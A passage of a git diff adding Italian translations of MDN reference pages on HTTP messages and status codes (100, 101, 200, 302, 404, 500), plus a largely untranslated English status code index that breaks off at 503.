+ <li>La prima linea, la<em>status line</em>, consiste in un riconoscimento della versione http usata, seguita da un status request (e il suo breve significato in parole comprensibili dall’uomo).</li>
+ <li>Le righe successive rappresentano specifici header HTTP, che danno al client informazioni riguardanti i dati inviati (per esempio: tipo, dimensione dei dati, algoritmo di compressione usato, note sul caching). Analogamente al blocco di header HTTP di una richiesta client, questi header HTTP formano un blocco finale con una linea vuota.</li>
+ <li>Il blocco finale è un blocco di dati, che contieni i dati opzionali.</li>
+</ol>
+
+<h3 id="Esempio_di_risposte"><strong>Esempio di risposte</strong></h3>
+
+<p>Risposta pagina web riuscita:</p>
+
+<pre class="notranslate">HTTP/1.1 200 OK
+Content-Type: text/html; charset=utf-8
+Content-Length: 55743
+Connection: keep-alive
+Cache-Control: s-maxage=300, public, max-age=0
+Content-Language: en-US
+Date: Thu, 06 Dec 2018 17:37:18 GMT
+ETag: "2e77ad1dc6ab0b53a2996dfd4653c1c3"
+Server: meinheld/0.6.1
+Strict-Transport-Security: max-age=63072000
+X-Content-Type-Options: nosniff
+X-Frame-Options: DENY
+X-XSS-Protection: 1; mode=block
+Vary: Accept-Encoding,Cookie
+Age: 7
+
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;A simple webpage&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Simple HTML5 webpage&lt;/h1&gt;
+  &lt;p&gt;Hello, world!&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Notifica che la risorsa richiesta è stata definitivamente trasferita:</p>
+
+<pre class="notranslate">HTTP/1.1 301 Moved Permanently
+Server: Apache/2.4.37 (Red Hat)
+Content-Type: text/html; charset=utf-8
+Date: Thu, 06 Dec 2018 17:33:08 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(questo è il nuovo link della risorsa; ci si aspetta che l’utente agente lo prenda)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+Content-Length: 325 <em>(</em><strong><em>Il contenuto è una pagina di default da mostrare se l’utente agente non è in grado di seguire il link</em></strong><em><strong>)</strong></em>
+
+
+&lt;!DOCTYPE html... <strong><em>(contiene un pagina personalizzata che aiuta l’utente a trovare la risorsa mancante)</em></strong>
+</pre>
+
+<p>Notifica che la risorsa richiesta non esiste:</p>
+
+<pre class="notranslate">HTTP/1.1 404 Not Found
+Content-Type: text/html; charset=utf-8
+Content-Length: 38217
+Connection: keep-alive
+Cache-Control: no-cache, no-store, must-revalidate, max-age=0
+Content-Language: en-US
+Date: Thu, 06 Dec 2018 17:35:13 GMT
+Expires: Thu, 06 Dec 2018 17:35:13 GMT
+Server: meinheld/0.6.1
+Strict-Transport-Security: max-age=63072000
+X-Content-Type-Options: nosniff
+X-Frame-Options: DENY
+X-XSS-Protection: 1; mode=block
+Vary: Accept-Encoding,Cookie
+X-Cache: Error from cloudfront
+
+
+&lt;!DOCTYPE html... <strong><em>(contiene un pagina personalizzata che aiuta l’utente a trovare la risorsa mancante)</em></strong>
+</pre>
+
+<h3 id="Status_code_di_risposta"><strong>Status code di risposta</strong></h3>
+
+<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status">HTTP response status codes</a> indica se una specifica richiesta HTTP sia stata completata con successo. Le risposte sono suddivise in cinque classi: risposte informative, risposte di successo, reindirizzamenti, errori client, ed errori server.</p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: OK. La richiesta ha avuto successo.</li>
+ <li>{{HTTPStatus(301)}}: Definitivamente Trasferita. Questo codice di risposta significa che l’URL della risorsa richiesta è stata cambiata.</li>
+ <li>{{HTTPStatus(404)}}: Non trovato. Il server non riesce a trovare la risorsa richiesta.</li>
+</ul>
+
+<h2 id="Vedi_anche"><strong>Vedi anche</strong></h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificare le risorse sul web</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">Header HTTP</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">Metodi di risposta HTTP</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">Status codes di risposta HTTP</a><a href="/en-US/docs/Web/HTTP/Status"> </a></li>
+</ul>
diff --git a/files/it/web/http/status/100/index.html b/files/it/web/http/status/100/index.html
new file mode 100644
index 0000000000..78a7c0a159
--- /dev/null
+++ b/files/it/web/http/status/100/index.html
@@ -0,0 +1,42 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La risposta informativa HTTP <strong><code>100 Continue</code></strong> indica che non si sono verificati errori e che il client può continuare con la richiesta o ignorarla nel caso fosse finita.</p>
+
+<p>Per far si che il server controlli l'header della richiesta, il client deve mandare {{HTTPHeader("Expect")}}<code>: 100-continue</code> come header nella sua richiesta iniziale e deve ricevere un <code>100 Continue</code> come codice di risposta prima di poter mandare il corpo della richiesta.</p>
+
+<h2 id="Stato">Stato</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table" style="font-family: Arial,x-locale-body,sans-serif; font-size: 1rem; letter-spacing: -0.00278rem;">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantica e Contenuti</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p class="hidden">La tabella di compatibilità di questa pagina è stata generata da dati strutturati. Se vorresti contribuire ai dati, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</p>
+
+<p>{{Compat("http.status.100")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/it/web/http/status/101/index.html b/files/it/web/http/status/101/index.html
new file mode 100644
index 0000000000..7e9c0e940f
--- /dev/null
+++ b/files/it/web/http/status/101/index.html
@@ -0,0 +1,51 @@
+---
+title: 101 switch di protocolli
+slug: Web/HTTP/Status/101
+tags:
+  - HTTP
+  - HTTP Status Code
+  - Referenza
+  - WebSockets
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Il codice di risposta (response) HTTP <code><strong>101 Switching Protocols</strong></code> indica il protocollo cui il server sta passando, come richiesto dal client che ha inviato il messaggio includendo {{HTTPHeader("Upgrade")}} nell'header della richiesta.</p>
+
+<p>In questa risposta il server include l'header {{HTTPHeader("Upgrade")}} che indica qual'è il protocollo adottato. Il processo è descritto in dettaglio nell'articolo <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a>.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">101 Switching Protocols</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Switching protocols può essere usato con <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/it/web/http/status/200/index.html b/files/it/web/http/status/200/index.html
new file mode 100644
index 0000000000..8350428043
--- /dev/null
+++ b/files/it/web/http/status/200/index.html
@@ -0,0 +1,55 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+tags:
+  - Codici di stato
+  - HTTP
+  - Successo
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Il codice di successo di risposta <strong><code>200 OK</code></strong> indica che la richiesta ha avuto successo.<br>
+ Una risposta 200 è inserita nella cache di default.</p>
+
+<p>Il significato di successo dipende dal metodo HTTP di richiesta:</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}: La risorsa è stata presa in carico e trasmessa nel corpo del messaggio.</li>
+ <li>{{HTTPMethod("HEAD")}}: Le intestazioni dell'entità sono nel corpo del messaggio.</li>
+ <li>{{HTTPMethod("POST")}}: La risorsa che descrive il risultato dell'azione è nel corpo del messaggio.</li>
+ <li>{{HTTPMethod("TRACE")}}: Il corpo del messaggio contiene la richiesta del messaggio come ricevuta dal server.</li>
+</ul>
+
+<p>Il risultato di successo di un {{HTTPMethod("PUT")}} o di un {{HTTPMethod("DELETE")}} spesso non è un <code>200</code> <code>OK</code> ma un {{HTTPStatus("204")}} <code>No Content</code> (o un {{HTTPStatus("201")}} <code>Created</code> quando la risorsa è caricata per la prima volta.</p>
+
+<h2 id="Stato">Stato</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Titolo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.200")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP metodi di richiesta</a></li>
+</ul>
diff --git a/files/it/web/http/status/302/index.html b/files/it/web/http/status/302/index.html
new file mode 100644
index 0000000000..db5c6be595
--- /dev/null
+++ b/files/it/web/http/status/302/index.html
@@ -0,0 +1,50 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+  - HTTP
+  - Redirezione
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Lo stato <code><strong>302 Found</strong></code> dell'HyperText Transfer Protocol (HTTP) indica che la risorsa richiesta é stata spostata temporaneamente all'URL definito nell'header {{HTTPHeader("Location")}}. Un browser effettua un redirect a tale pagina ma i motori di ricerca non aggiornano i propri link alla risorsa (in 'linguaggio-SEO', si dice che che il 'link-juice' non é inviato al nuovo URL).</p>
+
+<p>Anche se la specifica richiede che il metodo (e il body) della richiesta non vengano alterati quando al momento del redirect, non tutti gli user-agents si comportano allo stesso modo - ed é ancora possibile incorrere in questo tipo di software problematico. É quindi raccomandato impostare il codice <code>302</code> solo in risposta ai metodi {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}}, in quanto la modifica del metodo é esplicitamente proibita in tal caso.</p>
+
+<p>Nei casi in cui si volesse che il metodo venga cambiato in {{HTTPMethod("GET")}}, va piuttosto utilizzato {{HTTPStatus("303", "303 See Other")}}. Ció risulta utile quando si vuole rispondere a un metodo {{HTTPMethod("PUT")}} non con la risorsa aggiornata ma con un messaggio di conferma, del tipo: 'la risorsa XYZ é stata aggiornata con successo'.</p>
+
+<h2 id="Stato">Stato</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Titolo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+
+
+<p>{{Compat("http.status.302")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, the equivalent of this status code where the method used never changes.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, the permanent redirect.</li>
+</ul>
diff --git a/files/it/web/http/status/404/index.html b/files/it/web/http/status/404/index.html
new file mode 100644
index 0000000000..011dcc3553
--- /dev/null
+++ b/files/it/web/http/status/404/index.html
@@ -0,0 +1,62 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+tags:
+  - Browser
+  - Codice di stato
+  - Errore lato cliente
+  - HTTP
+  - Stato
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Il codice di risposta <code><strong>404 Not Found</strong></code> indica che il server non è riuscito a trovare la risorsa richiesta. I collegamenti (link) che portano a una pagina 404 sono spesso il risultato di chiamate errate o collegamenti non più attivi, e possono essere dovuti a fenomeni di server non più attivi (<a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>).</p>
+
+<p>Un codice di stato 404 non fornisce indicazioni il merito al fatto che si tratti di una risorsa non trovata temporaneamente o permanentemente. Se una risorsa è stata permanentemente eliminata, il server che la ospitava dovrebbe restiture un codice {{HTTPStatus(410)}} (Gone) invece dello stato 404.</p>
+
+<h2 id="Stato">Stato</h2>
+
+<pre class="syntaxbox">404 Not Found</pre>
+
+<h2 id="Pagine_di_errore_personalizzate">Pagine di errore personalizzate</h2>
+
+<p>Molti siti web personalizzano l'aspetto di una pagina 404 in modo che sia di maggior aiuto all'utente indicando magari quali azioni può intraprendere per arrivare alla pagina desiderata. I server Apache possono essere confiugrati per restituire una pagina personalizzata modificando il file <strong><code>.htaccess</code></strong> e introducendo una riga di codice come la seguente.</p>
+
+<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre>
+
+<p>Per un esempio di pagina 404 personalizzata, vedi <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>.</p>
+
+<div class="note">
+<p>Un design personalizzato è un'ottima cosa, ma con moderazione. Puoi rendere la tua pagina 404 divertente e umana, ma cerca di non confondere i tuoi utenti.</p>
+</div>
+
+<h2 id="Specifiche_tecniche">Specifiche tecniche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.404")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+  <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/it/web/http/status/500/index.html b/files/it/web/http/status/500/index.html
new file mode 100644
index 0000000000..7dd8968d1f
--- /dev/null
+++ b/files/it/web/http/status/500/index.html
@@ -0,0 +1,43 @@
+---
+title: 500 Internal Server Error
+slug: Web/HTTP/Status/500
+translation_of: Web/HTTP/Status/500
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="syntaxbox"><span class="tlid-translation translation"><span title="">Il codice di risposta, del protocollo HTTP (</span></span> HyperText Transfer Protocol <span class="tlid-translation translation"><span title="">), <strong>"500 Internal Server Error" </strong>indica che il server ha riscontrato una condizione imprevista, che gli ha impedito di andare avanti.</span></span></p>
+
+<p>Questo tipo di risposta all'errore è una generica "catch-all".<span class="tlid-translation translation"> <span title="">A volte, gli amministratori dei server registrano queste risposte di errore con ulteriori dettagli, per impedire che l'errore si verifichi nuovamente in futuro.</span></span></p>
+
+<div class="tlid-result-transliteration-container result-transliteration-container transliteration-container">
+<div class="tlid-transliteration-content transliteration-content full"> </div>
+</div>
+
+<div class="result-footer source-or-target-footer tlid-copy-target"> </div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">500 Internal Server Error</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.500")}}</p>
diff --git a/files/it/web/http/status/index.html b/files/it/web/http/status/index.html
new file mode 100644
index 0000000000..e490502369
--- /dev/null
+++ b/files/it/web/http/status/index.html
@@ -0,0 +1,171 @@
+---
+title: HTTP response status codes
+slug: Web/HTTP/Status
+tags:
+  - HTTP
+  - NeedsTranslation
+  - Status codes
+  - TopicStub
+translation_of: Web/HTTP/Status
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP response status codes indicate whether a specific <a href="/en-US/docs/Web/HTTP">HTTP</a> request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirects, client errors, and servers errors. Status codes are defined by <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a>.</p>
+
+<h2 id="Information_responses">Information responses</h2>
+
+<dl>
+ <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
+ <dd>This interim response indicates that everything so far is OK and that the client should continue with the request or ignore it if it is already finished.</dd>
+ <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
+ <dd>This code is sent in response to an {{HTTPHeader("Upgrade")}} request header by the client, and indicates the protocol the server is switching too.</dd>
+ <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>This code indicates that the server has received and is processing the request, but no response is available yet.</dd>
+</dl>
+
+<h2 id="Successful_responses">Successful responses</h2>
+
+<dl>
+ <dt>{{HTTPStatus(200, "200 OK")}}</dt>
+ <dd>The request has succeeded. The meaning of a success varies depending on the HTTP method:<br>
+ GET: The resource has been fetched and is transmitted in the message body.<br>
+ HEAD: The entity headers are in the message body.<br>
+ POST: The resource describing the result of the action is transmitted in the message body.<br>
+ TRACE: The message body contains the request message as received by the server</dd>
+ <dt>{{HTTPStatus(201, "201 Created")}}</dt>
+ <dd>The request has succeeded and a new resource has been created as a result of it. This is typically the response sent after a PUT request.</dd>
+ <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
+ <dd>The request has been received but not yet acted upon. It is non-committal, meaning that there is no way in HTTP to later send an asynchronous response indicating the outcome of processing the request. It is intended for cases where another process or server handles the request, or for batch processing.</dd>
+ <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
+ <dd>This response code means returned meta-information set is not exact set as available from the origin server, but collected from a local or a third party copy. Except this condition, 200 OK response should be preferred instead of this response.</dd>
+ <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
+ <dd>There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.</dd>
+ <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
+ <dd>This response code is sent after accomplishing request to tell user agent reset document view which sent this request.</dd>
+ <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
+ <dd>This response code is used because of range header sent by the client to separate download into multiple streams.</dd>
+ <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.</dd>
+ <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly.</dd>
+ <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
+ <dd>The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.</dd>
+</dl>
+
+<h2 id="Redirection_messages">Redirection messages</h2>
+
+<dl>
+ <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
+ <dd>The request has more than one possible responses. User-agent or user should choose one of them. There is no standardized way to choose one of the responses.</dd>
+ <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
+ <dd>This response code means that URI of requested resource has been changed. Probably, new URI would be given in the response.</dd>
+ <dt>{{HTTPStatus(302, "302 Found")}}</dt>
+ <dd>This response code means that URI of requested resource has been changed <em>temporarily</em>. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.</dd>
+ <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
+ <dd>Server sent this response to directing client to get requested resource to another URI with an GET request.</dd>
+ <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
+ <dd>This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.</dd>
+ <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt>
+ <dd>Was defined in a previous version of the HTTP specification to indicate that a requested response must be accessed by a proxy. It has been deprecated due to security concerns regarding in-band configuration of a proxy.</dd>
+ <dt><code>306 unused</code></dt>
+ <dd>This response code is no longer used, it is just reserved currently. It was used in a previous version of the HTTP 1.1 specification.</dd>
+ <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
+ <dd>Server sent this response to directing client to get requested resource to another URI with same method that used prior request. This has the same semantic than the <code>302 Found</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd>
+ <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
+ <dd>This means that the resource is now permanently located at another URI, specified by the <code>Location:</code> HTTP Response header. This has the same semantics as the <code>301 Moved Permanently</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd>
+</dl>
+
+<h2 id="Client_error_responses">Client error responses</h2>
+
+<dl>
+ <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
+ <dd>This response means that server could not understand the request due to invalid syntax.</dd>
+ <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
+ <dd>Although the HTTP standard specifies "unauthorized", semantically this response means "unauthenticated". That is, the client must authenticate itself to get the requested response.</dd>
+ <dt><code>402 Payment Required</code></dt>
+ <dd>This response code is reserved for future use. Initial aim for creating this code was using it for digital payment systems however this is not used currently.</dd>
+ <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
+ <dd>The client does not have access rights to the content, i.e. they are unauthorized, so server is rejecting to give proper response. Unlike 401, the client's identity is known to the server.</dd>
+ <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
+ <dd>The server can not find requested resource. In the browser, this means the URL is not recognized. In an API, this can also mean that the endpoint is valid but the resource itself does not exist. Servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. This response code is probably the most famous one due to its frequent occurence on the web.</dd>
+ <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
+ <dd>The request method is known by the server but has been disabled and cannot be used. For example, an API may forbid DELETE-ing a resource. The two mandatory methods, <code>GET</code> and <code>HEAD</code>, must never be disabled and should not return this error code.</dd>
+ <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt>
+ <dd>This response is sent when the web server, after performing <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, doesn't find any content following the criteria given by the user agent.</dd>
+ <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
+ <dd>This is similar to 401 but authentication is needed to be done by a proxy.</dd>
+ <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
+ <dd>This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.</dd>
+ <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
+ <dd>This response is sent when a request conflicts with the current state of the server.</dd>
+ <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
+ <dd>This response would be sent when the requested content has been permenantly deleted from server, with no forwarding address. Clients are expected to remove their caches and links to the resource. The HTTP specification intends this status code to be used for "limited-time, promotional services". APIs should not feel compelled to indicate resources that have been deleted with this status code.</dd>
+ <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
+ <dd>Server rejected the request because the <code>Content-Length</code> header field is not defined and the server requires it.</dd>
+ <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
+ <dd>The client has indicated preconditions in its headers which the server does not meet.</dd>
+ <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
+ <dd>Request entity is larger than limits defined by server; the server might close the connection or return an <code>Retry-After</code> header field.</dd>
+ <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
+ <dd>The URI requested by the client is longer than the server is willing to interpret.</dd>
+ <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
+ <dd>The media format of the requested data is not supported by the server, so the server is rejecting the request.</dd>
+ <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
+ <dd>The range specified by the <code>Range</code> header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.</dd>
+ <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
+ <dd>This response code means the expectation indicated by the <code>Expect</code> request header field can't be met by the server.</dd>
+ <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
+ <dd>The server refuses the attempt to brew coffee with a teapot.</dd>
+ <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
+ <dd>The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.</dd>
+ <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>The request was well-formed but was unable to be followed due to semantic errors.</dd>
+ <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>The resource that is being accessed is locked.</dd>
+ <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>The request failed due to failure of a previous request.</dd>
+ <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
+ <dd>The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).</dd>
+ <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
+ <dd>The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.</dd>
+ <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
+ <dd>The user has sent too many requests in a given amount of time ("rate limiting").</dd>
+ <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
+ <dd>The server is unwilling to process the request because its header fields are too large. The request MAY be resubmitted after reducing the size of the request header fields.</dd>
+ <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
+ <dd>The user requests an illegal resource, such as a web page censored by a government.</dd>
+</dl>
+
+<h2 id="Server_error_responses">Server error responses</h2>
+
+<dl>
+ <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
+ <dd>The server has encountered a situation it doesn't know how to handle.</dd>
+ <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
+ <dd>The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are <code>GET</code> and <code>HEAD</code>.</dd>
+ <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
+ <dd>This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.</dd>
+ <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
